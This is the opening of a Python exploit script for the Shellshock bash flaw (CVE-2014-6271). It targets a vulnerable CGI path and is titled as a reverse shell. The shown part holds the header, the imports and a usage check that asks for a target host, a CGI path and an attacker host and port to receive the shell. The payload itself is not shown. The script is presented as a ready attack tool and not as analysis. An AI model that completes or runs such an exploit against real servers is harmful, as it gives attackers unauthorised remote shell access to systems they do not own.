Bash vulnerability - Python reverse shell

#
#CVE-2014-6271 cgi-bin reverse shell
#
 
import httplib,urllib,sys
 
if (len(sys.argv)<4):
        print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
        print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
        exit(0)